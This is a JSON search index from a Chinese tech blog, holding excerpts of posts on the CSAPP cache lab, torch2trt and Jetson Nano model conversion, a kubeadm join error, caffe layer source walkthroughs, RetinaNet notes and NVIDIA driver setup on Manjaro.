2021,希望自己变得更强！","date":"2021-01-03","externalUrl":null,"permalink":"/2020/01/my-2020/","section":"Posts","summary":"本来不知道写什么所以不打算写了，不过后来觉得可以把今年做的一些重大的决定写出来，把当时的分析和想法记录下来。这样若干年后再回看，就能找到，是哪些明智或愚蠢的决定，对人生产生了巨大的影响。","tags":["docker","面试","leetcode","随笔杂谈"],"title":"2020年终总结","type":"post"},{"categories":["mooc"],"content":"背景 # CSAPP:3e 的配套实验 地址 分成了两个部分，第一部分是模拟一下cache的miss,hit,evict的规则。第二部分是优化一个矩阵的转置，使得miss尽可能少。 PART A # 给了一个标程csim-ref,要求实现一个程序，输出与该标程一致。 写的时候太心急了。。导致没看完作业要求就开始写了。。 然后就纠结了好久。。如果要访问的地址超过了一个block line的边界该怎么办。。 然而实际上题目里已经把这种情况排除了。。 For this this lab, you should assume that memory accesses are aligned properly, such that a single memory access never crosses block boundaries. By making this assumption, you can ignore the request sizes in the valgrind traces 这样的话。。就没什么难度了。。 LRU的替换策略用纯c去撸hashmap+list有点烦。。。干脆就写了暴力的实现。。反正是模拟题(x 1 2#include \u003cgetopt.h\u003e 3#include \u003cstdbool.h\u003e 4#include \u003cstdio.h\u003e 5#include \u003cstdlib.h\u003e 6#include \u003cstring.h\u003e 7#include \u003cunistd.h\u003e 8 9#include \"cachelab.h\" 10 11const unsigned int address_space_size = 64; 12// https://stackoverflow.com/questions/9642732/parsing-command-line-arguments-in-c 13 14typedef struct { 15 bool verbose; 16 int set_index_bits; 17 int lines_per_set; 18 int block_bits; 19 char *tracefile; 20 21} Arg; 22 23void ParseArgs(int argc, char **argv, Arg *arg) { 24 int opt; 25 while ((opt = getopt(argc, argv, \"hvs:E:b:t:\")) != -1) { 26 switch (opt) { 27 case 'h': 28 printf(\"Usage: ./csim-ref [-hv] -s \u003cs\u003e -E \u003cE\u003e -b \u003cb\u003e -t \u003ctracefile\u003e\\n\"); 29 break; 30 case 'v': 31 arg-\u003everbose = true; 32 break; 33 case 's': 34 arg-\u003eset_index_bits = atoi(optarg); 35 break; 36 case 'E': 37 arg-\u003elines_per_set = atoi(optarg); 38 break; 39 case 'b': 40 arg-\u003eblock_bits = atoi(optarg); 41 break; 42 case 't': 43 arg-\u003etracefile = optarg; 44 break; 45 default: 46 abort(); 47 } 48 } 49} 50 51typedef unsigned long long ULL; 52// 注意: 地址是十六进制表示。。。debug 到去世。。 53typedef struct { 54 ULL tag_bits; 55 ULL index_bits; 56 ULL offset_bits; 57 ULL block_number; 58 59} AddressBits; 60// 64 bit address,m=64 61// tag bit t = m-(b+s) 62// parse 64 address bits into tag bits,index bits and offs","date":"2020-12-26","externalUrl":null,"permalink":"/2020/12/csapp-cache-lab/","section":"Posts","summary":"背景 # CSAPP:3e 的配套实验 地址 分成了两个部分，第一部分是模拟一下cache的miss,hit,evict的规则。第二部分是优化一个矩阵的转置，使得miss尽可能少。","tags":["CSAPP"],"title":"[施工完成] CSAPP Cachelab","type":"post"},{"categories":["deep-learning"],"content":"前言 # 偶然发现了 torch2trt 的模型转换方案，思路是直接将pytorch op映射到TensorRT的python api. 在pytorch进行每个op　forward的时候，tensorrt也相应往network上添加op. 这里会先涉及torch2trt的使用，后面会补充这个转换工具的代码学习 使用torch2trt # torch2trt pytorch可以直接安装，但是torchvision根据 pytorch-for-jetson-version-1-6-0-now-available 中的说法，需要编译安装 1git clone https://github.com/pytorch/vision 然后切换到tag v0.7.0 执行 1sudo python3 setup.py install 可以正常安装 然后报错: ModuleNotFoundError: No module named ’termcolor' 尝试 sudo apt install python3-termcolor 后解决 接下来尝试trt samples中的　/python/network_api_pytorch_mnist 发现安装pycuda报错找不到cuda.h的头文件 参考　pycuda installation failure on jetson nano 执行了如下命令后成功: 1export LIBRARY_PATH=/usr/local/cuda/targets/aarch64-linux/lib/:$LIBRARY_PATH 2export CPATH=/usr/local/cuda/include:$CPATH 然后尝试使用TensorRT python api对一个engine file 做inference的时候，报错: pycuda._driver.LogicError: explicit_context_dependent failed: invalid device context - no currently active context? 在　import pycuda.autoinit　后解决 然后在尝试修改inference的input时报错: pycuda._driver.LogicError: cuMemcpyHtoDAsync failed: invalid argument 参考pycuda._driver.LogicError: cuMemcpyHtoDAsync failed: invalid argument 发现原因是numpy的类型不太对，修改为: 1 inputs[0].host = inp.astype(np.float32) 就可以了 接下来是在plan文件前面加签名 一开始用了numpy.tobytes() 。。发现每个字符占了4byte..与c++的caffe-tensorrt行为不一致 后来尝试 c = bytes(header,‘utf-8’) + model_data 问题似乎解决 torch2trt源码分析 #","date":"2020-09-18","externalUrl":null,"permalink":"/2020/09/torch2trt/","section":"Posts","summary":"前言 # 偶然发现了 torch2trt 的模型转换方案，思路是直接将pytorch op映射到TensorRT的python api. 在pytorch进行每个op　forward的时候，tensorrt也相应往network上添加op. 这里会先涉及torch2trt的使用，后面会补充这个转换工具的代码学习","tags":["Jetson Nano","模型转换"],"title":"【施工中】torch2trt　学习笔记","type":"post"},{"categories":["deep-learning"],"content":"写在前面 # 主要是需要在jetson nano做模型转换，来记录下踩的坑 目前有两条路径，一条是我们现有的转换路径，也就是pytorch-\u003eonnx(-\u003ecaffe)-\u003etrt的路径 在这条路径上踩了比较多的坑，最终暂时放弃，最直接的原因是cudnn8.0升级接口发生改动，编译caffe遇到较多问题 这里其实仍然采用了两条平行的路径，一条是直接在nano上构建环境，另外一种是基于docker(包括构建交叉编译环境用于加快编译速度) 另一条路径是基于torch2trt,是一条直接pytorch-\u003etrt的路径 这里主要记录在第一条路径上踩过的坑 环境准备 # 先过一遍开发者手册 主要是介绍了下nano的硬件和jetpack的组件 jetpack可以理解成一个nvidia用在嵌入式设备上的SDK工具包 镜像烧录 # 然后需要烧录镜像，参考Write Image to the microSD Card 最初使用 Etcher 来烧录，没有启动起来，原因未知。使用终端命令烧录就没问题了。 更换国内apt源 # 我拿到的jeston nano是基于ubuntu 18.04 lts的版本，默认源比较慢，换成国内源。需要注意要换arm版本的源 1wget -O /etc/apt/sources.list https://repo.huaweicloud.com/repository/conf/Ubuntu-Ports-bionic.list 2apt update 基于docker的模型转换 # 由于在x86上模型转换的工具是基于docker的，因此最初的想法是在nano上也基于docker进行转模型，这样或许可以复用一些x86上的工作。 确认了Jetson Nano上是可以跑docker和NVIDIA Container Runtime on Jetson (Beta)的 但是最初发现arm的cuda docker image最低支持cuda11.0的版本 cuda-arm64 docker image tag 然而目前(2020年9月)最新的jetpack4.4版本只支持到cuda10.2的版本 尝试了下使用cuda-arm64的docker image　发现驱动版本不够，而nano上似乎很难升级驱动版本，因此差点就放弃这条路径了。 然而发现，在nano上要用的cuda镜像并不应该是cuda-arm,而是NVIDIA L4T Base 结论 # 参考 Jetson 开发者手册归档，发现一个可能的问题是，JetPack 中 cuDNN、TensorRT 等库的版本不是连续的。 jetpack4.4: CUDA10.2,TensorRT 7.1.3,cuDNN 8.0.0 jetpack4.3: CUDA 10.0.326, TensorRT 6.0.1.10, cuDNN 7.6.3 jetpack4.2.1: CUDA 10.0.326,TensorRT 5.1.6.1,cuDNN 7.5.0.56 jetpack4.2.0:CUDA 10.166,TensorRT 5.0.6.3,cuDNN 7.3.1.28 发现并不能知道TensorRT7.0的版本，arm版本的库似乎官方也没有提供地址下载 最初想着是将cuDNN 7.6.3从jetpack4.3的镜像中拿出来，拷贝过去使用 然后发现TensorRT 7.1.3是依赖cuDNN8.0的。。。死了。或许可以考虑把工具链中的caffe摘除掉 编译opencv # 这部分其实发生在上部分得到结论之前 先尝试下在这个镜像上编译opencv 提示找不到　libjasper-dev..似乎是个可选的包，先不装试试看 然后提示fata error: LAPACKE_H_PATH-NOTFOUND 解决办法参考　opencv install install package liblapacke-dev manually define -DLAPACKE_H_PATH=/usr/include when calling cmake 由于在nano上编译速度非常感人，因此在x86上配置了arm的交叉编译环境，所以实际上是在x86机器上的交叉编译环境中进行编译的。 安装caffe2TRT工具链 # cmake","date":"2020-09-08","externalUrl":null,"permalink":"/2020/09/jetson-nano/","section":"Posts","summary":"写在前面 # 主要是需要在jetson nano做模型转换，来记录下踩的坑 目前有两条路径，一条是我们现有的转换路径，也就是pytorch-\u003eonnx(-\u003ecaffe)-\u003etrt的路径 在这条路径上踩了比较多的坑，最终暂时放弃，最直接的原因是cudnn8.0升级接口发生改动，编译caffe遇到较多问题 这里其实仍然采用了两条平行的路径，一条是直接在nano上构建环境，另外一种是基于docker(包括构建交叉编译环境用于加快编译速度)","tags":["Jetson Nano"],"title":"Jetson Nano踩坑记录","type":"post"},{"categories":["工程"],"content":"继续将k8s用于模型转换和部署的自动化流程…然后发现之前安装k8s的文档不work了．． 时间是2020年5月7日，当前最新的k8s版本是　v1.18.2 报错如下: 1 2 3\u003c2kzzqw6rsjid0 --discovery-token-ca-cert-hash sha256:c6c72bdc96c0ff4d59559ff915eee61ba7ac5e8b93c0b2f9e11e813412387ec2 --v=5 4W0507 15:45:12.608784 4768 join.go:346] [preflight] WARNING: JoinControlPane.controlPlane settings will be ignored when control-plane flag is not set. 5I0507 15:45:12.608822 4768 join.go:371] [preflight] found NodeName empty; using OS hostname as NodeName 6I0507 15:45:12.608853 4768 initconfiguration.go:103] detected and using CRI socket: /var/run/dockershim.sock 7[preflight] Running pre-flight checks 8I0507 15:45:12.608902 4768 preflight.go:90] [preflight] Running general checks 9I0507 15:45:12.608933 4768 checks.go:249] validating the existence and emptiness of directory /etc/kubernetes/manifests 10I0507 15:45:12.608966 4768 checks.go:286] validating the existence of file /etc/kubernetes/kubelet.conf 11I0507 15:45:12.608975 4768 checks.go:286] validating the existence of file /etc/kubernetes/bootstrap-kubelet.conf 12I0507 15:45:12.608985 4768 checks.go:102] validating the container runtime 13I0507 15:45:12.685381 4768 checks.go:128] validating if the service is enabled and active 14 [WARNING IsDockerSystemdCheck]: detected \"cgroupfs\" as the Docker cgroup driver. The recommended driver is \"systemd\". Please follow the guide at https://kubernetes.io/docs/setup/cri/ 15I0507 15:45:12.765669 4768 checks.go:335] validating the contents of file /proc/sys/net/bridge/bridge-nf-call-iptables 16I0507 15:45:12.765720 4768 checks.go:335] validating the contents of file /proc/sys/net/ipv4/ip_forward 17I0507 15:45:12.765752 4768 checks.go:649] validating whether swap is enabled or not 18I0507 15:45:12.765780 4768 checks.go:376] validating the presence of executable conntrac","date":"2020-05-07","externalUrl":null,"permalink":"/2020/05/install-k8s-get-nodes-forbidden-error/","section":"Posts","summary":"继续将k8s用于模型转换和部署的自动化流程…然后发现之前安装k8s的文档不work了．． 时间是2020年5月7日，当前最新的k8s版本是　v1.18.2","tags":["docker","k8s"],"title":"k8s nodes is forbidden user cannot list resource nodes in api group at the cluster scope","type":"post"},{"categories":["deep-learning"],"content":"背景 # 似乎没什么背景,继续看caffe代码 argmax的作用是返回一个blob某个维度或者batch_size之后的维度的top_k的index(或者pair(index,value)) proto # 还是先看proto 1 2message ArgMaxParameter { 3 // If true produce pairs (argmax, maxval) 4 optional bool out_max_val = 1 [default = false]; 5 optional uint32 top_k = 2 [default = 1]; 6 // The axis along which to maximise -- may be negative to index from the 7 // end (e.g., -1 for the last axis). 8 // By default ArgMaxLayer maximizes over the flattened trailing dimensions 9 // for each index of the first / num dimension. 10 optional int32 axis = 3; 11} out_max_val为真表示输出(index,val)的pair,否则只输出index(?,存疑) top_k应该是要取最大的top k个元素 axis是要求最大的维度,默认情况是把batch_size之后的维度flatten之后求argmax. c++ 实现 # 先看Reshape的部分 1 2template \u003ctypename Dtype\u003e 3void ArgMaxLayer\u003cDtype\u003e::Reshape(const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 bottom, 4 const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 top) { 5 int num_top_axes = bottom[0]-\u003enum_axes(); 6 if ( num_top_axes \u003c 3 ) num_top_axes = 3; 7 std::vector\u003cint\u003e shape(num_top_axes, 1); 8 if (has_axis_) { 9 // Produces max_ind or max_val per axis 10 shape = bottom[0]-\u003eshape(); 11 shape[axis_] = top_k_; 12 // axis非默认参数的case: 只有求max的那个维度会变,其他都不变 13 // 问题: out_max_val似乎只适用在axis为默认参数的情况? 14 } else { 15 shape[0] = bottom[0]-\u003eshape(0); 16 // Produces max_ind 17 shape[2] = top_k_; 18 // 不是只拿到第top_k,而是拿到top_k的k个结果 19 if (out_max_val_) { 20 // Produces max_ind and max_val 21 shape[1] = 2; 22 } 23 // 默认axis参数得到的top blob的shape 为(batch_size,1或者2,top_k) 24 // 因为会把batch后面的维度flatten 然后求max 25 } 26 top[0]-\u003eReshape(shape); 27} 添加了一些注释. 有一个疑问是,axis和out_max_val_这两个参数似乎不支持同时处理 继续看forward 1 2template \u003ctypename Dtype\u003e 3void ArgMaxLayer\u003cDtype\u003e::Forward_cpu(const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 bottom, 4 const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 top) { 5 const Dtype* bottom_data = bottom[0]-\u003ecpu_data(); 6 Dtype* top_data = top[0]-\u003emutable_cpu_data()","date":"2020-05-06","externalUrl":null,"permalink":"/2020/05/caffe-source-code-analysis-part11/","section":"Posts","summary":"背景 # 似乎没什么背景,继续看caffe代码","tags":["caffe"],"title":"caffe 源码学习笔记(11) argmax layer","type":"post"},{"categories":["deep-learning"],"content":"背景 # 这个layer和reduce layer有一些相似,就干脆一起看了. 作用是输入至少两个blob,然后对每个blob中的元素所一些运算,最后得到一个blob. caffe 支持的运算有\"PROD\",“SUM”,“MAX\"三种 顺便提一句,TensorRT支持的要多一些: 1 2enum class ElementWiseOperation : int 3{ 4 kSUM = 0, //!\u003c Sum of the two elements. 5 kPROD = 1, //!\u003c Product of the two elements. 6 kMAX = 2, //!\u003c Maximum of the two elements. 7 kMIN = 3, //!\u003c Minimum of the two elements. 8 kSUB = 4, //!\u003c Substract the second element from the first. 9 kDIV = 5, //!\u003c Divide the first element by the second. 10 kPOW = 6 //!\u003c The first element to the power of the second element. 11}; proto # 1 2message EltwiseParameter { 3 enum EltwiseOp { 4 PROD = 0; 5 SUM = 1; 6 MAX = 2; 7 } 8 optional EltwiseOp operation = 1 [default = SUM]; // element-wise operation 9 repeated float coeff = 2; // blob-wise coefficient for SUM operation 10 11 // Whether to use an asymptotically slower (for \u003e2 inputs) but stabler method 12 // of computing the gradient for the PROD operation. (No effect for SUM op.) 13 optional bool stable_prod_grad = 3 [default = true]; 14} proto里面的coeff是对于SUM操作,可以给每一个bottom blob一个加权系数, stable_prod_grad是backward用的,不用管. c++ 实现 # 1 2代码比较容易看懂,加了一些注释. 有两个地方可以提一下. 一个是PROD和MAX的做法,都是先求前两个,再把得到的结果和后面的blob进行运算.(其实是很自然的操作...似乎也没什么可说的orz) 3 4另外一个是mask这个变量,是在MAX操作时用来标记在哪个bottom blob 取到了最大值,反向传播时要用. 5 6 7 8template \u003ctypename Dtype\u003e 9void EltwiseLayer\u003cDtype\u003e::Reshape(const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 bottom, 10 const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 top) { 11 for (int i = 1; i \u003c bottom.size(); ++i) { 12 CHECK(bottom[i]-\u003eshape() == bottom[0]-\u003eshape()); 13 } 14 // check所有的bottom blob的shape都一样. 至少存在两个bottom blob 15 top[0]-\u003eReshapeLike(*bottom[0]); 16 // If max operation, we will initialize the vector index part. 17 if (this-\u003elayer_param_.eltwise_param().operation() == 18 EltwiseParameter_EltwiseOp_MAX \u0026\u0026 top.size() == 1) { 19 max_","date":"2020-05-03","externalUrl":null,"permalink":"/2020/05/caffe-source-code-analysis-part10/","section":"Posts","summary":"背景 # 这个layer和reduce layer有一些相似,就干脆一起看了. 作用是输入至少两个blob,然后对每个blob中的元素所一些运算,最后得到一个blob.","tags":["caffe"],"title":"caffe 源码学习笔记(10) eltwise layer","type":"post"},{"categories":["deep-learning"],"content":"背景 # 其实没什么背景,继续啃caffe代码而已2333 reduce layer其实就是做reduce操作,把一个任意shape的blob通过某种运算变成一个scalar. caffe目前支持求和(SUM),绝对值的和(ASUM),平方和(SUMSQ),以及对得到的scalar的总数求平均的求和(MEAN). 说句题外话,TensorRT支持的操作是求和,求积,max,min和ave. 还是有一些gap的 proto # 先看proto 1 2message ReductionParameter { 3 enum ReductionOp { 4 SUM = 1; 5 ASUM = 2; 6 SUMSQ = 3; 7 MEAN = 4; 8 } 9 10 optional ReductionOp operation = 1 [default = SUM]; // reduction operation 11 12 // The first axis to reduce to a scalar -- may be negative to index from the 13 // end (e.g., -1 for the last axis). 14 // (Currently, only reduction along ALL \"tail\" axes is supported; reduction 15 // of axis M through N, where N \u003c num_axes - 1, is unsupported.) 16 // Suppose we have an n-axis bottom Blob with shape: 17 // (d0, d1, d2, ..., d(m-1), dm, d(m+1), ..., d(n-1)). 18 // If axis == m, the output Blob will have shape 19 // (d0, d1, d2, ..., d(m-1)), 20 // and the ReductionOp operation is performed (d0 * d1 * d2 * ... * d(m-1)) 21 // times, each including (dm * d(m+1) * ... * d(n-1)) individual data. 22 // If axis == 0 (the default), the output Blob always has the empty shape 23 // (count 1), performing reduction across the entire input -- 24 // often useful for creating new loss functions. 25 optional int32 axis = 2 [default = 0]; 26 27 optional float coeff = 3 [default = 1.0]; // coefficient for output 28} operation不用说,表示要进行哪种reduce操作. coeff也比较简单,就是最后结果中每个元素都可以乘一个额外的系数,默认是1. axis的含义是,从axis这个维度开始做reduce. 比如blob的shape是(a,b,c,axis,d,e) 那么就需要对 (axis,d,e)这部分做a*b*c次reduce,得到 a*b*c个标量. 需要注意,目前只支持从某个维度一直到最后的维度都去做reduce,不支持中间的几个维度去做reduce c++ 代码 # 头文件中有两个成员变量num_,dim_值得一说 1 2template \u003ctypename Dtype\u003e 3class ReductionLayer : public Layer\u003cDtype\u003e { 4 public: 5// ...省略无关部分 6 7 /// @brief the reduction operation performed by the layer 8 ReductionParameter_ReductionOp ","date":"2020-05-03","externalUrl":null,"permalink":"/2020/05/caffe-source-code-analysis-part9/","section":"Posts","summary":"背景 # 其实没什么背景,继续啃caffe代码而已2333","tags":["caffe"],"title":"caffe 源码学习笔记(9) reduce layer","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"先写个简略版的笔记..看之后的情况要不要读得更精细一点.. 背景 # two stage的检测比one stage的检测效果好,原因是啥? 作者认为是正负样本不平衡导致的. two stage的方法在proposal 的时候干掉了大部分负样本,所以效果好. 因为作者提出了一种新的loss,称为Focal Loss 是对交叉熵loss的改进,作用是提高没有正确分类的样本的权重,降低正确分类的样本的权重. 然后设计了个retinaNet 来验证效果. 主要是用了Focal Loss 作为损失函数,以及backbone比起之前的one stage的检测用上了FPN. Focal Loss # 一图胜千言 Focal loss是在交叉熵loss的基础上增加了一个指数衰减. 对正确分类的样本影响很小,对错误分类的样本影响很大. 从图上我们可以看出,CE对正确分类的样本仍然有不小的loss,这样的样本数很多的话,就会被训练的时候模型被带歪… 因此需要减少这些正确分类的样本对loss的影响. RetinaNet # 单阶段检测,主要在于使用Focal Loss训练,以及backbone用上了FPN","date":"2020-05-02","externalUrl":null,"permalink":"/2020/05/retinanet-notes/","section":"Posts","summary":"先写个简略版的笔记..看之后的情况要不要读得更精细一点.. 背景 # two stage的检测比one stage的检测效果好,原因是啥?","tags":["retinanet"],"title":"Focal Loss for Dense Object Detection(RetinaNet) 学习笔记","type":"post"},{"categories":["deep-learning"],"content":"背景 # 虽然不太care 训练的过程，但是由于容易看懂的layer都看得差不多了 所以打算看一下这些loss function. Euclidean Loss (L2 loss) # 一般用于“real-valued regression tasks” 。　比如之前的项目上用的人脸年龄模型，就是用了这个Loss 这个loss没什么额外的参数，实现也很简单。 1 2template \u003ctypename Dtype\u003e 3void EuclideanLossLayer\u003cDtype\u003e::Reshape( 4 const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 bottom, const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 top) { 5 LossLayer\u003cDtype\u003e::Reshape(bottom, top); 6 CHECK_EQ(bottom[0]-\u003ecount(1), bottom[1]-\u003ecount(1)) 7 \u003c\u003c \"Inputs must have the same dimension.\"; 8 diff_.ReshapeLike(*bottom[0]); 9} 10 11template \u003ctypename Dtype\u003e 12void EuclideanLossLayer\u003cDtype\u003e::Forward_cpu(const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 bottom, 13 const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 top) { 14 int count = bottom[0]-\u003ecount(); 15 caffe_sub( 16 count, 17 bottom[0]-\u003ecpu_data(), 18 bottom[1]-\u003ecpu_data(), 19 diff_.mutable_cpu_data()); 20 Dtype dot = caffe_cpu_dot(count, diff_.cpu_data(), diff_.cpu_data()); 21 Dtype loss = dot / bottom[0]-\u003enum() / Dtype(2); 22 top[0]-\u003emutable_cpu_data()[0] = loss; 23} 注意要Reshape中，要求两个bottom blob（第一个为预测结果，第二个为gt)的batch维度可以不同,计算时按照预测结果的个数为准。 以及，Mean Square Error(MSE)　和L2 loss的差别只是一个系数1/2,可以放在一起说明。 MultinomialLogisticLoss # 用于单标签多分类任务。　输入的预测blob是一个(通常是经过softmax后)得到的概率分布。 注意 \" The SoftmaxWithLossLayer should be preferred over separate SoftmaxLayer + MultinomialLogisticLossLayer as its gradient computation is more numerically stable.\" 这个后面会提到。 同样，这个loss也没什么额外参数， forward也很简单 1 2template \u003ctypename Dtype\u003e 3void MultinomialLogisticLossLayer\u003cDtype\u003e::Forward_cpu( 4 const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 bottom, const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 top) { 5 const Dtype* bottom_data = bottom[0]-\u003ecpu_data(); 6 // predictions,ＮxCxHxW 7 const Dtype* bottom_label = bottom[1]-\u003ecpu_data(); 8 // labels, Nx1x1x1 9 int num = bottom[0]-\u003enum(); 10 int dim = bottom[0]-\u003ecount() / bottom[0]-\u003enum(); 11 // dim 表示类别总数 12 Dtype loss = 0; 13","date":"2020-04-18","externalUrl":null,"permalink":"/2020/04/caffe-source-code-analysis-part8/","section":"Posts","summary":"背景 # 虽然不太care 训练的过程，但是由于容易看懂的layer都看得差不多了 所以打算看一下这些loss function.","tags":["caffe"],"title":"caffe 源码学习笔记(8) loss function","type":"post"},{"categories":["deep-learning"],"content":"背景　# ocr组那边有个shuffle net 的网络,里面有个pytorch op叫chunk,转成的onnx对应的op是 split 作用是: Split a tensor into a list of tensors, along the specified ‘axis’. Lengths of the parts can be specified using argument ‘split’. Otherwise, the tensor is split to equal sized parts. 然后发现这个op模型转换里不支持转到caffe的layer,于是想办法支持了一下. 发现是要转到caffe的slice layer.(caffe也有一个split layer,但是这个split layer是除了一个输出blob作为多个layer的输入时用的) proto # 1 2message SliceParameter { 3 // The axis along which to slice -- may be negative to index from the end 4 // (e.g., -1 for the last axis). 5 // By default, SliceLayer concatenates blobs along the \"channels\" axis (1). 6 optional int32 axis = 3 [default = 1]; 7 repeated uint32 slice_point = 2; 8 9 // DEPRECATED: alias for \"axis\" -- does not support negative indexing. 10 optional uint32 slice_dim = 1 [default = 1]; 11} 看起来slice_dim和axis是新旧两种写法,slice_point应该就是切割点. 这个layer文档仍然是\"to do\"状态,因此只能看代码了. c++实现 # 1 2template \u003ctypename Dtype\u003e 3void SliceLayer\u003cDtype\u003e::LayerSetUp(const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 bottom, 4 const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 top) { 5 const SliceParameter\u0026 slice_param = this-\u003elayer_param_.slice_param(); 6 CHECK(!(slice_param.has_axis() \u0026\u0026 slice_param.has_slice_dim())) 7 \u003c\u003c \"Either axis or slice_dim should be specified; not both.\"; 8 slice_point_.clear(); 9 std::copy(slice_param.slice_point().begin(), 10 slice_param.slice_point().end(), 11 std::back_inserter(slice_point_)); 12} layerSetUp就是单纯把slice_point用成员函数来存储. reshape 其实是比较重点的部分,注意不提供slice_point的默认情况. 其他部分很好懂,就是把切割点计算成每一部分切割线段的长度. 1template \u003ctypename Dtype\u003e 2void SliceLayer\u003cDtype\u003e::Reshape(const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 bottom, 3 const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 top) { 4 const int num_axes = bottom[0]-\u003enum_axes(); 5 const SliceParameter\u0026 slice_param = this-\u003elayer_param_.slice_param(); 6 if (slice_param.has_slice_dim()) { 7 slice_axis_ ","date":"2020-04-13","externalUrl":null,"permalink":"/2020/04/caffe-source-code-analysis-part7/","section":"Posts","summary":"背景　# ocr组那边有个shuffle net 的网络,里面有个pytorch op叫chunk,转成的onnx对应的op是 split","tags":["caffe"],"title":"caffe 源码学习笔记(7) slice layer","type":"post"},{"categories":["随笔杂谈"],"content":"前几天装驱动把笔记本搞崩溃了..重新装了kde桌面环境的manjaro 首先根据 Configure NVIDIA (non-free) settings and load them on Startup 直接装驱动。 装之后mhwd -li命令会显示新安装的驱动，带有nvidia字样的。 然而发现inxi -G 命令下，nvidia GPU显示的drivier是 N/A 参考Inxi -G in Terminal: Graphics card N/A? 发现需要手动load driver 执行 sudo modprobe nvidia 后发现inxi -G 命令可以找到驱动了，nvidia-smi也可以正常显示了。 接下来是设置开启加载driver. 参考Automatic module loading with systemd 需要修改 /etc/modules-load.d/modules.conf 加入一行 1 2nvidia 重启后发现仍然不work. 然后看到/etc/modules-load.d/ doesn’t load nvidia on boot 发现原因是nvidia驱动被设置为黑名单了。 在 /usr/lib/modprobe.d/bumblebee.conf 文件中，把所有内容注释掉即可。 重新启动，发现已经可以正常加载驱动了。","date":"2020-04-12","externalUrl":null,"permalink":"/2020/04/Install-nvidia-Driver-on-Thinkpad-T430-Manjaro/","section":"Posts","summary":"前几天装驱动把笔记本搞崩溃了..重新装了kde桌面环境的manjaro","tags":["linux"],"title":"thinkpad t430 manjaro系统安装nvidia驱动","type":"post"},{"categories":["deep-learning"],"content":"背景　# 最近在魔改 tensorRT 的caffe parser 之前caffe模型转到trt模型时，有一个修改是需要将reshape　layer的param末尾补1,比较繁琐，于是看了下caffe的reshape layer的实现． proto # 1 2message ReshapeParameter { 3 // Specify the output dimensions. If some of the dimensions are set to 0, 4 // the corresponding dimension from the bottom layer is used (unchanged). 5 // Exactly one dimension may be set to -1, in which case its value is 6 // inferred from the count of the bottom blob and the remaining dimensions. 7 // For example, suppose we want to reshape a 2D blob \"input\" with shape 2 x 8: 8 // 9 // layer { 10 // type: \"Reshape\" bottom: \"input\" top: \"output\" 11 // reshape_param { ... } 12 // } 13 // 14 // If \"input\" is 2D with shape 2 x 8, then the following reshape_param 15 // specifications are all equivalent, producing a 3D blob \"output\" with shape 16 // 2 x 2 x 4: 17 // 18 // reshape_param { shape { dim: 2 dim: 2 dim: 4 } } 19 // reshape_param { shape { dim: 0 dim: 2 dim: 4 } } 20 // reshape_param { shape { dim: 0 dim: 2 dim: -1 } } 21 // reshape_param { shape { dim: 0 dim:-1 dim: 4 } } 22 // 23 optional BlobShape shape = 1; 24 25 // axis and num_axes control the portion of the bottom blob's shape that are 26 // replaced by (included in) the reshape. By default (axis == 0 and 27 // num_axes == -1), the entire bottom blob shape is included in the reshape, 28 // and hence the shape field must specify the entire output shape. 29 // 30 // axis may be non-zero to retain some portion of the beginning of the input 31 // shape (and may be negative to index from the end; e.g., -1 to begin the 32 // reshape after the last axis, including nothing in the reshape, 33 // -2 to include only the last axis, etc.). 34 // 35 // For example, suppose \"input\" is a 2D blob with shape 2 x 8. 36 // Then the following ReshapeLayer specifications a","date":"2020-04-09","externalUrl":null,"permalink":"/2020/04/caffe-source-code-analysis-part6/","section":"Posts","summary":"背景　# 最近在魔改 tensorRT 的caffe parser 之前caffe模型转到trt模型时，有一个修改是需要将reshape　layer的param末尾补1,比较繁琐，于是看了下caffe的reshape layer的实现．","tags":["caffe"],"title":"caffe 源码学习笔记(6) reshape layer","type":"post"},{"categories":["deep-learning"],"content":"caffe中卷积运算的实现 # 暴力实现的卷积大概是这样子的 1 2for w in 1..W 3 for h in 1..H 4 for x in 1..K 5 for y in 1..K 6 for m in 1..M 7 for d in 1..D 8 output(w, h, m) += input(w+x, h+y, d) * filter(m, x, y, d) 9 end 10 end 11 end 12 end 13 end 14end 这种方式的效率显然很低，不意外地,caffe中并不是这样实现的． 注释里面说: Caffe convolves by reduction to matrix multiplication. This achieves high-throughput and generality of input and filter dimensions but comes at the cost of memory for matrices. This makes use of efficiency in BLAS. The input is “im2col” transformed to a channel K’ x H x W data matrix for multiplication with the N x K’ x H x W filter matrix to yield a N’ x H x W output matrix that is then “col2im” restored. K’ is the input channel * kernel height * kernel width dimension of the unrolled inputs so that the im2col matrix has a column for each input region to be filtered. col2im restores the output spatial structure by rolling up the output channel N’ columns of the output matrix. 大概意思是说把卷积运算转换成矩阵乘法，然后利用现有的矩阵乘法库来运算． 最后就是Filter Matrix乘以Feature Matrix的转置，得到输出矩阵Cout x (H x W) 所以我觉得注释里的filter matrix的尺寸说成是\"N*K’“而不是＂N x K’ x H x W＂　更容易让人理解一些？ 需要注意的是,这里为了方便讨论,采用了让输入和输出的feature map的尺寸一致的设置. caffe代码中src/utill/im2col.cpp 中的 im2col和col2im,都是为了这个优化(指把卷积运算转换成矩阵乘法) 这部分感觉过于detail了,不打算展开. 这里还有caffe作者对这个优化的思考 Convolution in Caffe: a memo 我觉得最值得我们学习的是,不要重复造轮子,先看要解决的问题有没有现成的实现,如果没有,那么能不能把我们要解决的问题转换成有现成实现的问题. 分析完这个运算感觉已经说完了. 我们看一下caffe proto 1 2message ConvolutionParameter { 3 optional uint32 num_output = 1; // The number of outputs for the layer 4 optional bool bias_term = 2 [default = true]; // whether to have bias terms 5 6 // Pad, kernel size, and stride are all given as a single value for equal 7 // dimensions in all spatial dimensions, or once per spatial dimension. 8 repeated 